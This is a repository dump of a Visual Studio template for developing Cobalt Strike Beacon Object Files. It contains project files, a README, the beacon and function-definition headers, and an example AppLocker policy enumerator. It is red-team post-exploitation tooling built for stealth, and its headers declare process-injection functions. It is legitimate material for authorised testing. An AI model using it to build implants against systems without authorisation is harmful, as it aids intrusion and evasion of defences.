'$(SolutionDir)bin\$(Configuration)\$(ProjectName).x64.obj' }" 226 | 227 | 228 | 229 | 230 | /c /Fo"intermediary\BOF\x86\source" 231 | 232 | 233 | None 234 | false 235 | BOF;%(PreprocessorDefinitions) 236 | 237 | 238 | 239 | 240 | 241 | 242 | 243 | 244 | 245 | 246 | 247 | 248 | 249 | 250 | 251 | 252 | 253 | 254 | 255 | 256 | Level1 257 | 258 | 259 | xcopy /y "$(SolutionDir)$(ProjectName)\intermediary\$(Configuration)\x86\source.obj" "$(SolutionDir)bin\$(Configuration)\$(ProjectName).x86.o*"; 260 | powershell -ExecutionPolicy Unrestricted -command "& { . '$(SolutionDir)$(ProjectName)\resources\strip_bof.ps1'; strip-bof -Path '$(SolutionDir)bin\$(Configuration)\$(ProjectName).x86.obj' }" 261 | 262 | 263 | 264 | 265 | 266 | 267 | 268 | 269 | 270 | 271 | 272 | 273 | 274 | 275 | 276 | 277 | -------------------------------------------------------------------------------- /Beacon Object File/scheduled-tasks.vcxproj.filters: -------------------------------------------------------------------------------- 1 |  2 | 3 | 4 | 5 | {f23d5754-25e5-46a9-b783-8685f48d2291} 6 | 7 | 8 | {72263c50-a87a-4d99-9746-3def65c61180} 9 | 10 | 11 | {999efb6a-e35d-49fb-bf81-1ebab5077dd0} 12 | 13 | 14 | 15 | 16 | Source Files 17 | 18 | 19 | 20 | 21 | Header Files 22 | 23 | 24 | Header Files 25 | 26 | 27 | 28 | 29 | Resources 30 | 31 | 32 | -------------------------------------------------------------------------------- /README.md: -------------------------------------------------------------------------------- 1 | ### Introduction 2 | 3 | Cobalt Strike beacon object files (BOFs) is a feature that was added to the beacon in order to allow rapid beacon extendibility in a more OPSEC way. The BOF file is a COFF object file that will be executed in the same process as the beacon and therefore eliminates the need for using OPSEC expensive techniques like fork&run. BOFs are written in C\C++ and can be built using Visual Studio or MinGW. The official documentation on BOFs can be found [here](https://www.cobaltstrike.com/help-beacon-object-files). TrustedSec provided a well-written [introduction to BOFs for developers](https://www.trustedsec.com/blog/a-developers-introduction-to-beacon-object-files/), and also provided an [example COFF loader](https://www.trustedsec.com/blog/coffloader-building-your-own-in-memory-loader-or-how-to-run-bofs/) for those interested in learning more about how BOFs work under the hood. 4 | 5 | Developing Windows applications in Visual Studio has its advantages, mainly the ease of building, debugging, and testing as well as the integration of testing tools like virtual leak detector, application verifier, cppcheck, and so on. However, creating BOFs with Visual Studio is unpleasant because of the syntax of dynamic function resolution and because additional steps must be taken to generate the BOF and strip its debug symbols. Additionally, sometimes BOFs fail in engagements, and it would be handy to know the cause of the failure in production. 6 | 7 | I wanted to create a baseline template that can be reused to develop BOFs with Visual Studio without having to worry about dynamic function resolution syntax, stripping symbols, compiler configurations, C++ name mangling, or unexpected runtime errors. Thus, the requirements were 8 | 9 | 1. Default debug and release build configurations for debugging and testing for aspects like memory or handle leaks 10 | 1. Custom BOF build configuration that will generate the BOFs, strip their debug symbols, and move them to an output directory 11 | 1. Prebuilt list of function definitions to allow developers to reuse existing code without having to add the dynamic function resolution syntax 12 | 1. Built-in error function that will print, in production, which line and function caused the error 13 | 1. Ability to write simple C++ code without having to worry about name mangling 14 | 15 | A first prototype that fulfills these requirements was created and is available on GitHub. 16 | 17 | ### Usage Instructions 18 | 19 | #### Importing The Template to Visual Studio 20 | 21 | To use the template, download and copy the latest zip file from the [releases page](https://github.com/securifybv/Visual-Studio-BOF-template/releases) into the project templates directory under My Documents. For Visual Studio 2019, the directory would be 22 | 23 | %UserProfile%\Documents\Visual Studio 2019\Templates\ProjectTemplates 24 | 25 | The template will be automatically loaded into Visual Studio the next time you run it. After a restart, you can search for “beacon” on the new project wizard to find the template. 26 | 27 | 28 | ![Templates Location](images/TemplatesLocation.png) 29 | 30 | 31 | 32 | 33 | ![](images/NewProjectWizard.png) 34 | 35 | 36 | 37 | #### Default Structure 38 | 39 | The structure of the solution is shown in the image below. The *Header Files* filter contains the two headers needed to develop BOFs. The first header is the beacon header provided by the Cobalt Strike team. The bofdefs header is a modified version of the bofdefs header from TrustedSec. Next, the *Resources* filter contains a PowerShell script that will strip the debugging symbols. This PowerShell script is based on the work of Matthew Graeber (@mattifestation) on his ObjDump script. Finally, the *Source Files* filter contains the source code of the BOF. 40 | 41 | ![project_structure](images/project_structure.png) 42 | 43 | 44 | 45 | #### Using The Template 46 | 47 | The template makes it as easy as copying the *main* code to the *go* function for BOFs that take no arguments. The image below shows that the code in *go* is identical to the code in *main*. The ability to reuse the code without further modification increases the efficiency of porting existing projects into BOFs and eliminates the unnatural syntax of dynamic function resolution. For BOFs that take arguments, only the argument parsing part will be different. A goal for next versions is to create generic argument parsing macros or functions to eliminate the need for any modification. 48 | 49 | ![Text](images/code1.png) 50 | 51 | 52 | When the code is ready, it can be built for x64 and x86 BOFs at one go using the predefined build configuration inside the project template. In order to do so, go to Build -> Batch Build and tick the two architectures. 53 | 54 | ![](images/building.png) 55 | 56 | 57 | In order to build for only one architecture, select the appropriate BOF build configuration from the dropdown menu and hit build, as shown in the image below. 58 | 59 | ![](images/building2.png) 60 | 61 | Regardless of the method used to build the BOF, the result is a stripped BOF ready to be used with Cobalt Strike. 62 | 63 | ![](images/output.png) 64 | 65 | 66 | 67 | #### BOFs & COM Objects 68 | 69 | Sometimes, especially when dealing with component object model (COM) objects, it is easier to use C++ instead of C. The template supports that as well. Simply rename the Source.c to Source.cpp and compile. You will be spared from name mangling because the template will automatically add *extern “C”* if C++ is used. However, you should not get your hopes up too high with developing C++ BOFs, as this is not yet fully supported by Cobalt Strike. 70 | 71 | #### Error Reporting 72 | 73 | The template comes with a built-in function to print errors in a meaningful manner for operators. The purpose is to provide the operators with sufficient information to understand why the BOF failed without revisiting the source code. The error message below is a screenshot from the Cobalt Strike console and provides the following information for the operators: the error occurred 74 | 75 | - Name function causing the error: create\_folder 76 | - Line number: 164 77 | - Description by developer: “failed to create directory” 78 | - WIN32 error code: 123 79 | 80 | ![](images/errors.png) 81 | 82 | #### Modifying the template 83 | 84 | Different teams have different needs, and therefore this template might not be suitable for everyone. Modifying the template is easy. Just unzip the zip file, make your modifications to the files, and zip it again! 85 | 86 | ### Example projects 87 | 88 | To show how this template can be used, I have included two sample BOFs. The first BOF is a port of @am0nsec AppLocker enumerator, which will dump the effective AppLocker policy as beacon output. The second example is a scheduled task persistence that relies heavily on COM. 89 | 90 | ### Feature work 91 | 92 | This template is an initial prototype and many more features can be added to it. For example, the features on my to-do list includes: 93 | 94 | - Adding generic argument parsing that can be used by *main* and *go* without modifications 95 | - Internal print that takes variadic arguments 96 | 97 | Pull requests and ideas are also most welcome! 98 | 99 | ### Acknowledgments 100 | 101 | - Big thanks to the [TrustedSec](https://www.trustedsec.com/) team and [@FreeFirex](https://twitter.com/freefirex2) for sharing the code of the situational awareness BOFs [here](https://github.com/trustedsec/CS-Situational-Awareness-BOF). This template relied heavily on their work. 102 | - Paul ([@am0nsec](https://twitter.com/am0nsec)) for sharing his code and experience with undocumented COM objects [here](https://ntamonsec.blogspot.com/2020/08/applocker-policy-enumeration-in-c.html). 103 | - Matthew ([@mattifestation](https://twitter.com/mattifestation)) for sharing his work on PowerShell ObjDump [here](https://www.powershellgallery.com/packages/PowerSploit/1.0.0.0/Content/PETools%5CGet-ObjDump.ps1). 104 | 105 | ### Author 106 | 107 | This project is created and maintained by Yasser Alhazmi [@yas_o_h](https://twitter.com/Yas_o_h) / [Securify](https://www.securify.nl/en/) 108 | 109 | -------------------------------------------------------------------------------- /examples/applocker-enumerator/AppLockerPolicy.h: -------------------------------------------------------------------------------- 1 | #pragma once 2 | #include 3 | 4 | 5 | /** 6 | * @brief GUID of the IAppIdPolicyHandler COM interface: B6FEA19E-32DD-4367-B5B7-2F5DA140E87D 7 | */ 8 | CONST IID IID_IAppIdPolicyHandler = { 0xB6FEA19E, 0x32DD, 0x4367, {0xB5, 0xB7, 0x2F, 0x5D, 0xA1, 0x40, 0xE8, 0x7D} }; 9 | 10 | 11 | 12 | // wchar_t * T_IIDIAppIdPolicyHandler L"{B6FEA19E-32DD-4367-B5B7-2F5DA140E87D}"; 13 | // 0xB6FEA19E, 0x32DD, 0x4367, {0xB5, 0xB7, 0x2F, 0x5D, 0xA1, 0x40, 0xE8, 0x7D 14 | 15 | 16 | //wchar_t * T_CLSIDAppIdPolicyHandler L"{F1ED7D4C-F863-4DE6-A1CA-7253EFDEE1F3}"; 17 | //0xF1ED7D4C, 0xF863, 0x4DE6, {0xA1, 0xCA, 0x72, 0x53, 0xEF, 0xDE, 0xE1, 0xF3 18 | 19 | /** 20 | * @brief GUID of the IAppIdPolicyHandler class factory: F1ED7D4C-F863-4DE6-A1CA-7253EFDEE1F3 21 | */ 22 | CONST IID CLSID_AppIdPolicyHandlerClass = { 0xF1ED7D4C, 0xF863, 0x4DE6, {0xA1, 0xCA, 0x72, 0x53, 0xEF, 0xDE, 0xE1, 0xF3} }; 23 | 24 | typedef interface IAppIdPolicyHandler IAppIdPolicyHandler; 25 | 26 | 27 | typedef struct AppIdPolicyHandlerVtbl { 28 | BEGIN_INTERFACE 29 | 30 | /** 31 | * @brief QueryInterface method from IUnknown 32 | */ 33 | HRESULT(STDMETHODCALLTYPE* QueryInterface) ( 34 | _In_ IAppIdPolicyHandler* This, 35 | _In_ REFIID riid, 36 | _Out_ PVOID* ppvObject 37 | ); 38 | 39 | /** 40 | * @brief AddRef from IUnknown 41 | */ 42 | ULONG(STDMETHODCALLTYPE* AddRef)( 43 | _In_ IAppIdPolicyHandler* This 44 | ); 45 | 46 | /** 47 | * @brief Release from IUnknown 48 | */ 49 | ULONG(STDMETHODCALLTYPE* Release)( 50 | _In_ IAppIdPolicyHandler* This 51 | ); 52 | 53 | /** 54 | * @brief GetTypeInfoCount from IDispatch 55 | */ 56 | HRESULT(STDMETHODCALLTYPE* GetTypeInfoCount)( 57 | _In_ IAppIdPolicyHandler* This, 58 | _Out_ PUINT pctinfo 59 | ); 60 | 61 | /** 62 | * @brief GetTypeInfo from IDispatch 63 | */ 64 | HRESULT(STDMETHODCALLTYPE* GetTypeInfo)( 65 | _In_ IAppIdPolicyHandler* This, 66 | _In_ UINT itinfo, 67 | _In_ ULONG lcid, 68 | _Out_ LPVOID* pptinfo 69 | ); 70 | 71 | /** 72 | * @brief GetIDsOfNames from IDispatch 73 | */ 74 | HRESULT(STDMETHODCALLTYPE* GetIDsOfNames)( 75 | _In_ IAppIdPolicyHandler* This, 76 | _In_ LPIID riid, 77 | _In_ LPOLESTR* rgszNames, 78 | _In_ UINT cNames, 79 | _In_ LCID lcid, 80 | _Out_ DISPID* rgdispid 81 | ); 82 | 83 | /** 84 | * @brief Invoke from IDispatch 85 | */ 86 | HRESULT(STDMETHODCALLTYPE* Invoke)( 87 | _In_ IAppIdPolicyHandler* This, 88 | _In_ DISPID dispidMember, 89 | _In_ LPIID riid, 90 | _In_ LCID lcid, 91 | _In_ WORD wFlags, 92 | _In_ DISPPARAMS* pdispparams, 93 | _In_ LPVARIANT pvarResult, 94 | _Out_ LPEXCEPINFO pexcepinfo, 95 | _Out_ PUINT puArgErr 96 | ); 97 | 98 | /** 99 | * @brief SetPolicy from IAppIdPolicyHandler 100 | */ 101 | HRESULT(STDMETHODCALLTYPE* SetPolicy)( 102 | _In_ IAppIdPolicyHandler* This, 103 | _In_ BSTR bstrLdapPath, 104 | _In_ BSTR bstrXmlPolicy 105 | ); 106 | 107 | /** 108 | * @brief GetPolicy from IAppIdPolicyHandler 109 | */ 110 | HRESULT(STDMETHODCALLTYPE* GetPolicy)( 111 | _In_ IAppIdPolicyHandler* This, 112 | _In_ BSTR bstrLdapPath, 113 | _Out_ LPBSTR pbstrXmlPolicy 114 | ); 115 | 116 | /** 117 | * @brief GetEffectivePolicy from IAppIdPolicyHandler 118 | */ 119 | HRESULT(STDMETHODCALLTYPE* GetEffectivePolicy)( 120 | _In_ IAppIdPolicyHandler* This, 121 | _Out_ LPBSTR pbstrXmlPolicies 122 | ); 123 | 124 | /** 125 | * @brief IsFileAllowed from IAppIdPolicyHandler 126 | */ 127 | HRESULT(STDMETHODCALLTYPE* IsFileAllowed)( 128 | _In_ IAppIdPolicyHandler* This, 129 | _In_ BSTR bstrXmlPolicy, 130 | _In_ BSTR bstrFilePath, 131 | _In_ BSTR bstrUserSid, 132 | _Out_ LPGUID pguidResponsibleRuleId, 133 | _Out_ PLONG pbStatus 134 | ); 135 | 136 | /** 137 | * @brief IsPackageAllowed from IAppIdPolicyHandler 138 | */ 139 | HRESULT(STDMETHODCALLTYPE* IsPackageAllowed)( 140 | _In_ IAppIdPolicyHandler* This, 141 | _In_ BSTR bstrXmlPolicy, 142 | _In_ BSTR bstrPublisherName, 143 | _In_ BSTR bstrPackageName, 144 | _In_ ULONG ullPackageVersion, 145 | _In_ BSTR bstrUserSid, 146 | _Out_ LPGUID pguidResponsibleRuleId, 147 | _Out_ PLONG pbStatus 148 | ); 149 | 150 | END_INTERFACE 151 | } AppIdPolicyHandlerVtbl; 152 | 153 | interface IAppIdPolicyHandler { 154 | CONST_VTBL struct AppIdPolicyHandlerVtbl* lpVtbl; 155 | }; -------------------------------------------------------------------------------- /examples/applocker-enumerator/Source.c: -------------------------------------------------------------------------------- 1 | #include 2 | #include 3 | #include "AppLockerPolicy.h" 4 | #include "bofdefs.h" 5 | 6 | 7 | 8 | #pragma region error_handling 9 | #define print_error(msg, hr) _print_error(__FUNCTION__, __LINE__, msg, hr) 10 | BOOL _print_error(char* func, int line, char* msg, HRESULT hr) { 11 | #ifdef BOF 12 | BeaconPrintf(CALLBACK_ERROR, "(%s at %d): %s 0x%08lx", func, line, msg, hr); 13 | #else 14 | printf("[-] (%s at %d): %s 0x%08lx", func, line, msg, hr); 15 | #endif // BOF 16 | 17 | return FALSE; 18 | } 19 | #pragma endregion 20 | 21 | 22 | 23 | BOOL com_init() { 24 | HRESULT hr; 25 | 26 | hr = CoInitializeEx(NULL, COINIT_MULTITHREADED); 27 | if (FAILED(hr)) 28 | return print_error("CoInitializeEx", hr); 29 | 30 | return TRUE; 31 | } 32 | 33 | BOOL GetAppLockerPolicies(LPBSTR pbstrPolicies) { 34 | BOOL bResult = FALSE; 35 | HRESULT hr = S_FALSE; 36 | CLSID xCLSID_AppIdPolicyHandler; 37 | IID xIID_AppIdPolicyHandler; 38 | 39 | wchar_t* T_IIDIAppIdPolicyHandler = L"{B6FEA19E-32DD-4367-B5B7-2F5DA140E87D}"; 40 | wchar_t* T_CLSIDAppIdPolicyHandler = L"{F1ED7D4C-F863-4DE6-A1CA-7253EFDEE1F3}"; 41 | 42 | hr = CLSIDFromString(T_CLSIDAppIdPolicyHandler, &xCLSID_AppIdPolicyHandler); 43 | if (hr != S_OK) 44 | return print_error("CLSIDFromString", hr); 45 | 46 | hr = IIDFromString(T_IIDIAppIdPolicyHandler, &xIID_AppIdPolicyHandler); 47 | if (hr != S_OK) 48 | return print_error("IIDFromString", hr); 49 | 50 | // Get the COM interface 51 | IAppIdPolicyHandler* pIAppIdPolicyHandler = (IAppIdPolicyHandler*)HeapAlloc(GetProcessHeap(), HEAP_ZERO_MEMORY, sizeof(IAppIdPolicyHandler)); 52 | hr = CoCreateInstance(&xCLSID_AppIdPolicyHandler, NULL, CLSCTX_INPROC_SERVER, &xIID_AppIdPolicyHandler, (LPVOID*)&pIAppIdPolicyHandler); 53 | if (hr != S_OK || pIAppIdPolicyHandler == NULL) { 54 | print_error("CoCreateInstance", hr); 55 | goto failure; 56 | } 57 | 58 | 59 | hr = pIAppIdPolicyHandler->lpVtbl->GetEffectivePolicy(pIAppIdPolicyHandler, pbstrPolicies); 60 | 61 | // Check if an error occurred 62 | if (hr != S_OK || *pbstrPolicies == NULL) { 63 | print_error("GetEffectivePolicy", hr); 64 | goto failure; 65 | } 66 | 67 | bResult = TRUE; 68 | failure: 69 | if (pIAppIdPolicyHandler) { 70 | pIAppIdPolicyHandler->lpVtbl->Release(pIAppIdPolicyHandler); 71 | pIAppIdPolicyHandler = NULL; 72 | } 73 | 74 | return bResult; 75 | } 76 | 77 | 78 | 79 | #ifdef BOF 80 | void go(char* buff, int len) { 81 | 82 | BSTR bstrAppLockerPolicies = NULL; 83 | 84 | if (!com_init()) 85 | return; 86 | 87 | if (!GetAppLockerPolicies(&bstrAppLockerPolicies)) 88 | return; 89 | 90 | BeaconPrintf(CALLBACK_OUTPUT, "AppLocker policies: %S", bstrAppLockerPolicies); 91 | CoUninitialize(); 92 | } 93 | 94 | 95 | #else 96 | 97 | void main(int argc, char* argv[]) { 98 | 99 | BSTR bstrAppLockerPolicies = NULL; 100 | 101 | if (!com_init()) 102 | return; 103 | 104 | if (!GetAppLockerPolicies(&bstrAppLockerPolicies)) 105 | return; 106 | 107 | printf("AppLocker policies: \n%ws\n", bstrAppLockerPolicies); 108 | 109 | CoUninitialize(); 110 | } 111 | 112 | #endif -------------------------------------------------------------------------------- /examples/applocker-enumerator/applocker-enumerator.vcxproj: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | 5 | BOF 6 | Win32 7 | 8 | 9 | Debug 10 | Win32 11 | 12 | 13 | Release 14 | Win32 15 | 16 | 17 | BOF 18 | x64 19 | 20 | 21 | Debug 22 | x64 23 | 24 | 25 | Release 26 | x64 27 | 28 | 29 | 30 | 16.0 31 | Win32Proj 32 | {cb51a85d-1a99-41c7-95d9-a393c65d4ea1} 33 | applocker_enumerator 34 | 10.0 35 | applocker-enumerator 36 | 37 | 38 | 39 | Application 40 | true 41 | v142 42 | Unicode 43 | 44 | 45 | Application 46 | false 47 | v142 48 | true 49 | Unicode 50 | 51 | 52 | Application 53 | true 54 | v142 55 | Unicode 56 | 57 | 58 | Application 59 | false 60 | v142 61 | true 62 | Unicode 63 | 64 | 65 | v142 66 | Console 67 | 68 | 69 | 70 | 71 | Console 72 | 73 | v142 74 | 75 | 76 | 77 | 78 | 79 | 80 | 81 | 82 | 83 | 84 | 85 | 86 | 87 | 88 | 89 | 90 | 91 | 92 | 93 | 94 | 95 | 96 | $(SolutionDir)bin\$(Configuration)\$(ProjectName).x64.obj;*.cdf;*.cache;*.obj;*.obj.enc;*.ilk;*.ipdb;*.iobj;*.resources;*.tlb;*.tli;*.tlh;*.tmp;*.rsp;*.pgc;*.pgd;*.meta;*.tlog;*.manifest;*.res;*.pch;*.exp;*.idb;*.rep;*.xdc;*.pdb;*_manifest.rc;*.bsc;*.sbr;*.xml;*.metagen;*.bi;$(SolutionDir)bin\$(Configuration)\$(ProjectName).x64.o;$(ExtensionsToDeleteOnClean) 97 | 98 | $(SolutionDir)bin\$(Configuration)\ 99 | intermediary\$(Configuration)\$(Platform)\ 100 | $(ProjectName)x64 101 | 102 | 103 | $(SolutionDir)bin\$(Configuration)\$(ProjectName).x86.obj;*.cdf;*.cache;*.obj;*.obj.enc;*.ilk;*.ipdb;*.iobj;*.resources;*.tlb;*.tli;*.tlh;*.tmp;*.rsp;*.pgc;*.pgd;*.meta;*.tlog;*.manifest;*.res;*.pch;*.exp;*.idb;*.rep;*.xdc;*.pdb;*_manifest.rc;*.bsc;*.sbr;*.xml;*.metagen;*.bi;$(ExtensionsToDeleteOnClean) 104 | 105 | $(SolutionDir)bin\$(Configuration)\ 106 | $(ProjectName)x32 107 | intermediary\$(Configuration)\x86\ 108 | 109 | 110 | $(SolutionDir)bin\$(Configuration)\ 111 | $(ProjectName)64 112 | 113 | 114 | $(SolutionDir)bin\$(Configuration)\ 115 | $(ProjectName)32 116 | 117 | 118 | $(SolutionDir)bin\$(Configuration)\ 119 | $(ProjectName)32 120 | 121 | 122 | $(SolutionDir)bin\$(Configuration)\ 123 | $(ProjectName)64 124 | 125 | 126 | 127 | EnableAllWarnings 128 | true 129 | WIN32;_DEBUG;_CONSOLE;%(PreprocessorDefinitions) 130 | false 131 | 132 | 133 | Level1 134 | 135 | 136 | Console 137 | true 138 | 139 | 140 | 141 | 142 | Level4 143 | true 144 | true 145 | true 146 | WIN32;NDEBUG;_CONSOLE;%(PreprocessorDefinitions) 147 | false 148 | Level1 149 | 150 | 151 | 152 | 153 | Console 154 | true 155 | true 156 | true 157 | 158 | 159 | 160 | 161 | EnableAllWarnings 162 | true 163 | _DEBUG;_CONSOLE;%(PreprocessorDefinitions) 164 | false 165 | true 166 | Level1 167 | 168 | 169 | Console 170 | true 171 | 172 | 173 | 174 | 175 | Level4 176 | true 177 | true 178 | true 179 | NDEBUG;_CONSOLE;%(PreprocessorDefinitions) 180 | false 181 | Level1 182 | 183 | 184 | Console 185 | true 186 | true 187 | true 188 | 189 | 190 | 191 | 192 | /c /Fo"intermediary\BOF\x64\source" 193 | 194 | 195 | None 196 | false 197 | BOF;%(PreprocessorDefinitions) 198 | 199 | 200 | 201 | 202 | 203 | 204 | 205 | 206 | 207 | 208 | 209 | 210 | 211 | 212 | 213 | 214 | 215 | 216 | 217 | 218 | 219 | 220 | 221 | Level1 222 | 223 | 224 | xcopy /y "$(SolutionDir)$(ProjectName)\intermediary\$(Configuration)\$(Platform)\source.obj" "$(SolutionDir)bin\$(Configuration)\$(ProjectName).x64.o*"; 225 | powershell -ExecutionPolicy Unrestricted -command "& { . '$(SolutionDir)$(ProjectName)\resources\strip_bof.ps1'; strip-bof -Path '$(SolutionDir)bin\$(Configuration)\$(ProjectName).x64.obj' }" 226 | 227 | 228 | 229 | 230 | /c /Fo"intermediary\BOF\x86\source" 231 | 232 | 233 | None 234 | false 235 | BOF;%(PreprocessorDefinitions) 236 | 237 | 238 | 239 | 240 | 241 | 242 | 243 | 244 | 245 | 246 | 247 | 248 | 249 | 250 | 251 | 252 | 253 | 254 | 255 | 256 | Level1 257 | 258 | 259 | xcopy /y "$(SolutionDir)$(ProjectName)\intermediary\$(Configuration)\x86\source.obj" "$(SolutionDir)bin\$(Configuration)\$(ProjectName).x86.o*"; 260 | powershell -ExecutionPolicy Unrestricted -command "& { . '$(SolutionDir)$(ProjectName)\resources\strip_bof.ps1'; strip-bof -Path '$(SolutionDir)bin\$(Configuration)\$(ProjectName).x86.obj' }" 261 | 262 | 263 | 264 | 265 | 266 | 267 | 268 | 269 | 270 | 271 | 272 | 273 | 274 | 275 | 276 | 277 | 278 | -------------------------------------------------------------------------------- /examples/applocker-enumerator/applocker-enumerator.vcxproj.filters: -------------------------------------------------------------------------------- 1 |  2 | 3 | 4 | 5 | {f23d5754-25e5-46a9-b783-8685f48d2291} 6 | 7 | 8 | {72263c50-a87a-4d99-9746-3def65c61180} 9 | 10 | 11 | {999efb6a-e35d-49fb-bf81-1ebab5077dd0} 12 | 13 | 14 | 15 | 16 | Source Files 17 | 18 | 19 | 20 | 21 | Header Files 22 | 23 | 24 | Header Files 25 | 26 | 27 | Header Files 28 | 29 | 30 | 31 | 32 | Resources 33 | 34 | 35 | -------------------------------------------------------------------------------- /examples/applocker-enumerator/applocker-enumerator.vcxproj.user: -------------------------------------------------------------------------------- 1 |  2 | 3 | 4 | -------------------------------------------------------------------------------- /examples/applocker-enumerator/beacon.h: -------------------------------------------------------------------------------- 1 | #pragma once 2 | 3 | /* 4 | * Beacon Object Files (BOF) 5 | * ------------------------- 6 | * A Beacon Object File is a light-weight post exploitation tool that runs 7 | * with Beacon's inline-execute command. 8 | * 9 | * Cobalt Strike 4.1. 10 | */ 11 | 12 | /* data API */ 13 | typedef struct { 14 | char * original; /* the original buffer [so we can free it] */ 15 | char * buffer; /* current pointer into our buffer */ 16 | int length; /* remaining length of data */ 17 | int size; /* total size of this buffer */ 18 | } datap; 19 | 20 | DECLSPEC_IMPORT void BeaconDataParse(datap * parser, char * buffer, int size); 21 | DECLSPEC_IMPORT int BeaconDataInt(datap * parser); 22 | DECLSPEC_IMPORT short BeaconDataShort(datap * parser); 23 | DECLSPEC_IMPORT int BeaconDataLength(datap * parser); 24 | DECLSPEC_IMPORT char * BeaconDataExtract(datap * parser, int * size); 25 | 26 | /* format API */ 27 | typedef struct { 28 | char * original; /* the original buffer [so we can free it] */ 29 | char * buffer; /* current pointer into our buffer */ 30 | int length; /* remaining length of data */ 31 | int size; /* total size of this buffer */ 32 | } formatp; 33 | 34 | DECLSPEC_IMPORT void BeaconFormatAlloc(formatp * format, int maxsz); 35 | DECLSPEC_IMPORT void BeaconFormatReset(formatp * format); 36 | DECLSPEC_IMPORT void BeaconFormatFree(formatp * format); 37 | DECLSPEC_IMPORT void BeaconFormatAppend(formatp * format, char * text, int len); 38 | DECLSPEC_IMPORT void BeaconFormatPrintf(formatp * format, char * fmt, ...); 39 | DECLSPEC_IMPORT char * BeaconFormatToString(formatp * format, int * size); 40 | DECLSPEC_IMPORT void BeaconFormatInt(formatp * format, int value); 41 | 42 | /* Output Functions */ 43 | #define CALLBACK_OUTPUT 0x0 44 | #define CALLBACK_OUTPUT_OEM 0x1e 45 | #define CALLBACK_ERROR 0x0d 46 | #define CALLBACK_OUTPUT_UTF8 0x20 47 | 48 | DECLSPEC_IMPORT void BeaconPrintf(int type, char * fmt, ...); 49 | DECLSPEC_IMPORT void BeaconOutput(int type, char * data, int len); 50 | 51 | /* Token Functions */ 52 | DECLSPEC_IMPORT BOOL BeaconUseToken(HANDLE token); 53 | DECLSPEC_IMPORT void BeaconRevertToken(); 54 | DECLSPEC_IMPORT BOOL BeaconIsAdmin(); 55 | 56 | /* Spawn+Inject Functions */ 57 | DECLSPEC_IMPORT void BeaconGetSpawnTo(BOOL x86, char * buffer, int length); 58 | DECLSPEC_IMPORT void BeaconInjectProcess(HANDLE hProc, int pid, char * payload, int p_len, int p_offset, char * arg, int a_len); 59 | DECLSPEC_IMPORT void BeaconInjectTemporaryProcess(PROCESS_INFORMATION * pInfo, char * payload, int p_len, int p_offset, char * arg, int a_len); 60 | DECLSPEC_IMPORT void BeaconCleanupProcess(PROCESS_INFORMATION * pInfo); 61 | 62 | /* Utility Functions */ 63 | DECLSPEC_IMPORT BOOL toWideChar(char * src, wchar_t * dst, int max); 64 | -------------------------------------------------------------------------------- /examples/applocker-enumerator/bofdefs.h: -------------------------------------------------------------------------------- 1 | #pragma once 2 | /* some code and/or ideas are from trustedsec SA Github repo -- thankyou trustedsec! */ 3 | #include 4 | 5 | 6 | #ifdef BOF 7 | 8 | #ifdef __cplusplus 9 | extern "C" { 10 | #endif 11 | 12 | #include "beacon.h" 13 | 14 | void go(char* buff, int len); 15 | 16 | /* COM */ 17 | DECLSPEC_IMPORT HRESULT WINAPI OLE32$CLSIDFromString(LPCWSTR, LPCLSID); 18 | DECLSPEC_IMPORT HRESULT WINAPI OLE32$CoCreateInstance(REFCLSID rclsid, LPUNKNOWN pUnkOuter, DWORD dwClsContext, REFIID riid, LPVOID* ppv); 19 | DECLSPEC_IMPORT HRESULT WINAPI OLE32$CoInitializeEx(LPVOID, DWORD); 20 | DECLSPEC_IMPORT VOID WINAPI OLE32$CoUninitialize(); 21 | DECLSPEC_IMPORT HRESULT WINAPI OLE32$IIDFromString(LPWSTR lpsz, LPIID lpiid); 22 | DECLSPEC_IMPORT HRESULT WINAPI OLE32$CoInitialize(LPVOID pvReserved); 23 | DECLSPEC_IMPORT HRESULT WINAPI OLE32$CoCreateInstanceEx(REFCLSID, IUnknown*, DWORD, COSERVERINFO*, DWORD, MULTI_QI*); 24 | DECLSPEC_IMPORT BSTR WINAPI OleAut32$SysAllocString(const OLECHAR*); 25 | DECLSPEC_IMPORT LPVOID WINAPI OLEAUT32$VariantInit(VARIANTARG* pvarg); 26 | DECLSPEC_IMPORT HRESULT WINAPI OLE32$CoInitializeSecurity(PSECURITY_DESCRIPTOR pSecDesc, LONG cAuthSvc, SOLE_AUTHENTICATION_SERVICE* asAuthSvc, void* pReserved1, DWORD dwAuthnLevel, DWORD dwImpLevel, void* pAuthList, DWORD dwCapabilities, void* pReserved3); 27 | 28 | /* Registry */ 29 | DECLSPEC_IMPORT LSTATUS APIENTRY ADVAPI32$RegOpenKeyExA(HKEY hKey, LPCSTR lpSubKey, DWORD ulOptions, REGSAM samDesired, PHKEY phkResult); 30 | DECLSPEC_IMPORT LSTATUS APIENTRY ADVAPI32$RegDeleteTreeA(HKEY hKey, LPCSTR lpSubKey); 31 | DECLSPEC_IMPORT LSTATUS APIENTRY ADVAPI32$RegCreateKeyExA(HKEY hKey, LPCSTR lpSubKey, DWORD Reserved, LPSTR lpClass, DWORD dwOptions, REGSAM samDesired, 32 | CONST LPSECURITY_ATTRIBUTES lpSecurityAttributes, PHKEY phkResult, LPDWORD lpdwDisposition); 33 | DECLSPEC_IMPORT LSTATUS APIENTRY ADVAPI32$RegSetValueExA(HKEY hKey, LPCSTR lpValueName, DWORD Reserved, DWORD dwType, 34 | CONST BYTE* lpData, DWORD cbData); 35 | 36 | 37 | /* FileSystem */ 38 | DECLSPEC_IMPORT HANDLE WINAPI KERNEL32$CreateFileA(LPCSTR lpFileName, DWORD dwDesiredAccess, DWORD dwShareMode, LPSECURITY_ATTRIBUTES lpSecurityAttributes, DWORD dwCreationDisposition, DWORD dwFlagsAndAttributes, HANDLE hTemplateFile); 39 | DECLSPEC_IMPORT DWORD WINAPI KERNEL32$SetFilePointer(HANDLE hFile, LONG lDistanceToMove, PLONG lpDistanceToMoveHigh, DWORD dwMoveMethod); 40 | DECLSPEC_IMPORT BOOL WINAPI KERNEL32$SetFilePointerEx(HANDLE hFile, LARGE_INTEGER liDistanceToMove, PLARGE_INTEGER lpDistanceToMoveHigh, DWORD dwMoveMethod); 41 | DECLSPEC_IMPORT BOOL WINAPI KERNEL32$WriteFile(HANDLE hFile, LPCVOID lpBuffer, DWORD nNumberOfBytesToWrite, LPDWORD lpNumberOfBytesWritten, LPOVERLAPPED lpOverlapped); 42 | DECLSPEC_IMPORT BOOL WINAPI KERNEL32$GetFileSizeEx(HANDLE hFile, PLARGE_INTEGER lpFileSize); 43 